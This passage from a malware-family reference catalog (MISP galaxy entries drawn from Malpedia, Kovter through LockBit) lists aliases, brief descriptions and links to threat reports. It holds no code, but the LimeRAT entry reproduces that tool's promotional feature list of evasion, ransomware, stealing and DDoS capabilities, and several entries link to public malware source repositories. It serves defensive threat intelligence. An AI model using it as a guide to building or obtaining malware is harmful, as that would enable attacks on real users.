Feb 2012 - Police Ransomware Aug 2013 - Became AD Fraud Mar 2014 - Ransomware to AD Fraud malware June 2014 - Distributed from sweet orange exploit kit Dec 2014 - Run affiliated node Apr 2015 - Spread via fiesta and nuclear pack May 2015 - Kovter become fileless 2016 - Malvertising campaign on Chrome and Firefox June 2016 - Change in persistence July 2017 - Nemucod and Kovter was packed together Jan 2018 - Cyclance report on Persistence

The tag is: *misp-galaxy:malpedia="Kovter"*

Kovter is also known as:

Table 2458. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kovter
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://0xchrollo.github.io/articles/unpacking-kovter-malware/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://blog.malwarebytes.com/threat-analysis/2015/01/major-malvertising-campaign-hits-sites-with-combined-total-monthly-traffic-of-1-5bn-visitors/
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Kovter/Kovter.md
https://www.symantec.com/connect/blogs/kovter-malware-learns-poweliks-persistent-fileless-registry-update
https://github.com/ewhitehats/kovterTools/blob/master/KovterWhitepaper.pdf
https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/
https://0x00sec.org/t/analyzing-modern-malware-techniques-part-1/18663
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/kovter-an-evolving-malware-gone-fileless

KPOT Stealer

The tag is: *misp-galaxy:malpedia="KPOT Stealer"*

KPOT Stealer is also known as:

- Khalesi
- Kpot

Table 2459. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/

https://isc.sans.edu/diary/26010
https://news.drweb.com/show/?i=13242&lng=en
https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/
https://isc.sans.edu/diary/25934
https://blog.ensilo.com/game-of-trojans-dissecting-khalesi-infostealer-malware
https://medium.com/s2wlab/deep-analysis-of-kpot-stealer-fb1d2be9c5dd
https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/
https://www.proofpoint.com/us/threat-insight/post/new-kpot-v20-stealer-brings-zero-persistence-and-memory-features-silently-steal
https://blag.nullteilerfrei.de/2020/04/26/use-ghidra-to-decrypt-strings-of-kpotstealer-malware/
https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/kpot2/KPOT.md

Krachulka

According to ESET, this malware family is a banking trojan and was active in Brazil until the middle of 2019. Its most noticeable characteristic was its usage of well-known cryptographic methods to encrypt strings, as opposed to the majority of Latin American banking trojans that mainly use custom encryption schemes.

The tag is: *misp-galaxy:malpedia="Krachulka"*

Krachulka is also known as:

Table 2460. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krachulka
https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/

Kraken

A ransomware that was active in 2018.

The tag is: *misp-galaxy:malpedia="Kraken"*

Kraken is also known as:

Table 2461. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kraken
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
https://www.recordedfuture.com/kraken-cryptor-ransomware/
https://www.bleepingcomputer.com/news/security/kraken-cryptor-ransomware-masquerading-as-superantispyware-security-program/
https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/

KrBanker

The tag is: *misp-galaxy:malpedia="KrBanker"*

KrBanker is also known as:

- BlackMoon

Table 2462. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker
https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html
https://zairon.wordpress.com/2014/04/15/trojan-banking-47d18761d46d8e7c4ad49cc575b0acc2bb3f49bb56a3d29fb1ec600447cb89a4/
http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/
https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan

KrDownloader

The tag is: *misp-galaxy:malpedia="KrDownloader"*

KrDownloader is also known as:

Table 2463. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader

Kronos

The tag is: *misp-galaxy:malpedia="Kronos"*

Kronos is also known as:

- Osiris

Table 2464. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos
https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/
https://blog.morphisec.com/long-live-osiris-banking-trojan-targets-german-ip-addresses
https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/
https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/
https://dissectingmalwa.re/osiris-the-god-of-afterlifeand-banking-malware.html
https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf
https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/
https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan
https://twitter.com/3xp0rtblog/status/1294157781415743488
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware
https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack
https://intel471.com/blog/privateloader-malware
https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/
https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html
https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/
https://therecord.media/osiris-banking-trojan-shuts-down-as-new-ares-variant-emerges/
https://www.proofpoint.com/us/threat-insight/post/kronos-reborn

KryptoCibule

The tag is: *misp-galaxy:malpedia="KryptoCibule"*

KryptoCibule is also known as:

Table 2465. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kryptocibule
https://www.welivesecurity.com/2020/09/02/kryptocibule-multitasking-multicurrency-cryptostealer/

KSL0T

A keylogger used by Turla.

The tag is: *misp-galaxy:malpedia="KSL0T"*

KSL0T is also known as:

Table 2466. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t
https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/
https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-1/
https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-2/

Kuaibu

The tag is: *misp-galaxy:malpedia="Kuaibu"*

Kuaibu is also known as:

- Barys
- Gofot
- Kuaibpy

Table 2467. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kuaibu8

Kuluoz

The tag is: *misp-galaxy:malpedia="Kuluoz"*

Kuluoz is also known as:

Table 2468. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz

Kurton

The tag is: *misp-galaxy:malpedia="Kurton"*

Kurton is also known as:

Table 2469. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kurton
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Kutaki

Cofense characterizes Kutaki as a data stealer that uses old-school techniques to detect sandboxes and debugging. Kutaki however works quite well against unhardened virtual machines and other analysis devices. By backdooring a legitimate application, it can fool unsophisticated detection methodologies.

The tag is: *misp-galaxy:malpedia="Kutaki"*

Kutaki is also known as:

Table 2470. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kutaki
https://cofense.com/kutaki-malware-bypasses-gateways-steal-users-credentials/

Kwampirs

Kwampirs is a family of malware which uses SMB to spread. It typically will not execute or deploy in environments in which there is no publicly available admin$ share. It is a fully featured backdoor which can download additional modules. Typical C2 traffic is over HTTP and includes "q=[ENCRYPTED DATA]" in the URI.

The tag is: *misp-galaxy:malpedia="Kwampirs"*

Kwampirs is also known as:

Table 2471. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs
https://www.zdnet.com/article/fbi-re-sends-alert-about-supply-chain-attacks-for-the-third-time-in-three-months/

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia
https://resources.cylera.com/new-evidence-linking-kwampirs-malware-to-shamoon-apts
https://blog.reversinglabs.com/blog/unpacking-kwampirs-rat
https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf
http://www.documentcloud.org/documents/6821581-FLASH-CP-000111-MW-Downgraded-Version.html
https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/
https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/
https://thehackernews.com/2022/03/researchers-find-new-evidence-linking.html

LALALA Stealer

The tag is: *misp-galaxy:malpedia="LALALA Stealer"*

LALALA Stealer is also known as:

Table 2472. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lalala_stealer
https://securitynews.sonicwall.com/xmlpost/lalala-infostealer-which-comes-with-batch-and-powershell-scripting-combo/
https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html
https://twitter.com/luc4m/status/1276477397102145538
https://www.hornetsecurity.com/en/security-information/information-stealer-campaign-targeting-german-hr-contacts/

Lambert (Windows)

The tag is: *misp-galaxy:malpedia="Lambert (Windows)"*

Lambert (Windows) is also known as:

- Plexor

Table 2473. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert
https://www.youtube.com/watch?v=jeLd-gw2bWo
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7
https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://twitter.com/*CPResearch*/status/1484502090068242433[https://twitter.com/*CPResearch*/status/1484502090068242433]
https://ti.qianxin.com/blog/articles/network-weapons-of-cia/

Lamdelin

The tag is: *misp-galaxy:malpedia="Lamdelin"*

Lamdelin is also known as:

Table 2474. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lamdelin
http://news.thewindowsclub.com/poorly-coded-lamdelin-lockscreen-ransomware-alt-f4-88576/

LatentBot

FireEye describes this malware as a highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.

Using Dynamic Threat Intelligence, they have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which they named LATENTBOT – caught attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.

The tag is: *misp-galaxy:malpedia="LatentBot"*

LatentBot is also known as:

Table 2475. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot
https://www.cert.pl/news/single/latentbot-modularny-i-silnie-zaciemniony-bot/
http://malware-traffic-analysis.net/2017/04/25/index.html
https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html
https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/
https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access

Laturo Stealer

The tag is: *misp-galaxy:malpedia="Laturo Stealer"*

Laturo Stealer is also known as:

Table 2476. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.laturo
https://seclists.org/snort/2019/q3/343

Laziok

The tag is: *misp-galaxy:malpedia="Laziok"*

Laziok is also known as:

Table 2477. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok
https://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector
https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802
https://www.gdatasoftware.com/blog/2015/05/24280-dissecting-the-kraken

LazyCat

The tag is: *misp-galaxy:malpedia="LazyCat"*

LazyCat is also known as:

Table 2478. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.lazycat
https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/

LCPDot

The tag is: *misp-galaxy:malpedia="LCPDot"*

LCPDot is also known as:

Table 2479. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot
https://securelist.com/lazarus-trojanized-defi-app/106195/
https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html
https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf
https://research.nccgroup.com/2022/05/05/north-koreas-lazarus-and-their-initial-access-trade-craft-using-social-media-and-social-engineering/

Leakthemall

Ransomware.

The tag is: *misp-galaxy:malpedia="Leakthemall"*

Leakthemall is also known as:

Table 2480. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.leakthemall
https://id-ransomware.blogspot.com/2020/09/leakthemall-ransomware.html

Leash

The tag is: *misp-galaxy:malpedia="Leash"*

Leash is also known as:

Table 2481. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.leash

https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/

Lemon Duck

Lemon Duck is a monerocrypto-mining malware with capabilitiy to spread rapidly across the entire network. The malware runs its payload mainly in memory. Internal network spreading is performed by SMB RCE Vulnerability (CVE-2017-0144), or brute-force attacks.

The tag is: *misp-galaxy:malpedia="Lemon Duck"*

Lemon Duck is also known as:

Table 2482. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck
https://therecord.media/lemonduck-botnet-evolves-to-allow-hands-on-keyboard-intrusions/
https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html
https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728
https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/
https://www.bitdefender.com/files/News/CaseStudies/study/373/Bitdefender-PR-Whitepaper-LemonDuck-creat4826-en-EN-GenericUse.pdf
https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/
https://cybotsai.com/lemon-duck-attack/
https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/
https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html
https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/
https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/
https://success.trendmicro.com/solution/000261916
https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html
https://asec.ahnlab.com/en/31811/

Leouncia

The tag is: *misp-galaxy:malpedia="Leouncia"*

Leouncia is also known as:

- shoco

Table 2483. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.leouncia
https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor.html
https://www.fireeye.com/blog/threat-research/2010/12/leouncia-yet-another-backdoor-part-2.html

Lethic

Lethic is a spambot dating back to 2008. It is known to be distributing low-level pharmaceutical spam.

The tag is: *misp-galaxy:malpedia="Lethic"*

Lethic is also known as:

Table 2484. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic
http://www.malware-traffic-analysis.net/2017/11/02/index.html
http://resources.infosecinstitute.com/win32lethic-botnet-analysis/
http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html

LetMeOut

The tag is: *misp-galaxy:malpedia="LetMeOut"*

LetMeOut is also known as:

Table 2485. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.letmeout
http://blog.nsfocus.net/murenshark/

Liderc

The tag is: *misp-galaxy:malpedia="Liderc"*

Liderc is also known as:

- LEMPO

Table 2486. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.liderc
https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf
https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html
https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/
https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media

LightNeuron

The tag is: *misp-galaxy:malpedia="LightNeuron"*

LightNeuron is also known as:

- NETTRANS
- XTRANS

Table 2487. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron
https://securelist.com/apt-trends-report-q2-2018/86487/
https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/
https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

Lightning Stealer

Lightning stealer can target 30+ Firefox and Chromium-based browsers and steal crypto wallets, Telegram data, Discord tokens, and Steam user's data. Unlike other info stealers, Lightning Stealer stores all the stolen data in the JSON format for exfiltration.

The tag is: *misp-galaxy:malpedia="Lightning Stealer"*

Lightning Stealer is also known as:

Table 2488. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lightning_stealer
https://blog.cyble.com/2022/04/05/inside-lightning-stealer/

Ligsterac

The tag is: *misp-galaxy:malpedia="Ligsterac"*

Ligsterac is also known as:

Table 2489. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ligsterac
http://atm.cybercrime-tracker.net/index.php
https://securelist.com/atm-infector/74772/

Lilith

The tag is: *misp-galaxy:malpedia="Lilith"*

Lilith is also known as:

Table 2490. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith
https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388
https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/
https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/
https://github.com/werkamsus/Lilith

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf

limedownloader

The tag is: *misp-galaxy:malpedia="limedownloader"*

limedownloader is also known as:

Table 2491. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limedownloader
https://github.com/NYAN-x-CAT/Lime-Downloader

limeminer

The tag is: *misp-galaxy:malpedia="limeminer"*

limeminer is also known as:

Table 2492. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limeminer
https://github.com/NYAN-x-CAT/Lime-Miner

LimeRAT

```
## Description
Simple yet powerful RAT for Windows machines. This project is simple and easy to
understand, It should give you a general knowledge about dotNET malwares and how it
behaves.
```

Main Features

- **.NET**
- Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0
- **Connection**
- Using pastebin.com as ip:port , Instead of noip.com DNS. And Also using multi-ports
- **Plugin**

- Using plugin system to decrease stub’s size and lower the AV detection
- **Encryption**
- The communication between server & client is encrypted with AES
- **Spreading**
- Infecting all files and folders on USB drivers
- **Bypass**
- Low AV detection and undetected startup method
- **Lightweight**
- Payload size is about 25 KB
- **Anti Virtual Machines**
- Uninstall itself if the machine is virtual to avoid scanning or analyzing
- **Ransomware**
- Encrypting files on all HHD and USB with .Lime extension
- **XMR Miner**
- High performance Monero CPU miner with user idle\active optimizations
- **DDoS**
- Creating a powerful DDOS attack to make an online service unavailable
- **Crypto Stealer**
- Stealing Cryptocurrency sensitive data
- **Screen-Locker**
- Prevents user from accessing their Windows GUI
- **And more**
- On Connect Auto Task
- Force enable Windows RDP
- Persistence
- File manager
- Passowrds stealer
- Remote desktop
- Bitcoin grabber
- Downloader
- Keylogger

The tag is: *misp-galaxy:malpedia="LimeRAT"*

LimeRAT is also known as:

Table 2493. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html
https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns
https://github.com/NYAN-x-CAT/Lime-RAT/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html
https://lab52.io/blog/literature-lover-targeting-colombia-with-limerat/
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://lab52.io/blog/apt-c-36-recent-activity-analysis/
https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html
https://blog.reversinglabs.com/blog/rats-in-the-library
https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html
https://www.youtube.com/watch?v=x-g-ZLeX8GM
https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://blog.yoroi.company/research/limerat-spreads-in-the-wild/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt

Limitail

The tag is: *misp-galaxy:malpedia="Limitail"*

Limitail is also known as:

Table 2494. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.limitail

LinseningSvr

The tag is: *misp-galaxy:malpedia="LinseningSvr"*

LinseningSvr is also known as:

Table 2495. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.linseningsvr
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

Listrix

The tag is: *misp-galaxy:malpedia="Listrix"*

Listrix is also known as:

Table 2496. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

LiteDuke

According to CarbonBlack, LiteDuke is a third stage backdoor. It appears to use the same dropper as PolyglotDuke. Its payload makes use of an AES encrypted SQLite database to store its configuration. LiteDuke supports a large number of individual commands including host information retrieval, file upload and download, and the ability to execute other code. LiteDuke C2 servers appear to be compromised servers, and the malware communicates with them using normal HTTP requests. It attempts to use a realistic User-Agent string to blend in better with normal HTTP traffic. ESET have dubbed it LiteDuke because it uses SQLite to store information such as its configuration.

The tag is: *misp-galaxy:malpedia="LiteDuke"*

LiteDuke is also known as:

Table 2497. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.liteduke
https://norfolkinfosec.com/looking-back-at-liteduke/
https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/

LiteHTTP

According to AlienVault, LiteHTTP bot is a new HTTP bot programmed in C#. The bot has the ability to collect system information, download and execute programs, and update and kill other bots present on the system.

The source is on GitHub: https://github.com/zettabithf/LiteHTTP

The tag is: *misp-galaxy:malpedia="LiteHTTP"*

LiteHTTP is also known as:

Table 2498. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp
https://viriback.com/recent-litehttp-activities-and-iocs/
https://github.com/zettabithf/LiteHTTP
https://malware.news/t/recent-litehttp-activities-and-iocs/21053

LockBit (Windows)

The tag is: *misp-galaxy:malpedia="LockBit (Windows)"*

LockBit (Windows) is also known as:

- ABCD Ransomware

Table 2499. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit
https://www.ic3.gov/Media/News/2022/220204.pdf
https://cluster25.io/2022/07/06/lockbit-3-0-making-the-ransomware-great-again/
https://www.netskope.com/blog/netskope-threat-coverage-lockbit
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/
https://therecord.media/missed-opportunity-bug-in-lockbit-ransomware-allowed-free-decryptions/
https://id-ransomware.blogspot.com/search?q=lockbit
https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a
https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/
https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant—lockbit-3-.html

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/
https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor
https://www.intrinsec.com/alphv-ransomware-gang-analysis
https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html
https://blog.cyble.com/2022/07/05/lockbit-3-0-ransomware-group-launches-new-version/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.advanced-intel.com/post/from-russia-with-lockbit-ransomware-inside-look-preventive-solutions
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-lockbit
https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/
https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-1-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254354
https://www.prodaft.com/m/reports/LockBit_Case_Report_*TLPWHITE.pdf[https://www.prodaft.com/m/reports/LockBit_Case_Report*_TLPWHITE.pdf]
https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-attack-on-bridgestone-americas/
https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://cybergeeks.tech/a-technical-analysis-of-the-leaked-lockbit-3-0-builder/
https://news.sophos.com/en-us/2020/10/21/lockbit-attackers-uses-automated-attack-tools-to-identify-tasty-targets
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.dr.dk/nyheder/viden/teknologi/frygtede-skulle-lukke-alle-vindmoeller-nu-aabner-vestas-op-om-hacking-angreb
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://www.lemagit.fr/actualites/252516821/Ransomware-LockBit-30-commence-a-etre-utilise-dans-des-cyberattaques
https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments
https://blog.cyble.com/2021/08/16/a-deep-dive-analysis-of-lockbit-2-0/
https://www.connectwise.com/resources/lockbit-profile
https://www.crypsisgroup.com/insights/ransomwares-new-trend-exfiltration-and-extortion
https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/481/original/010421_LockBit_Interview.pdf
https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques/
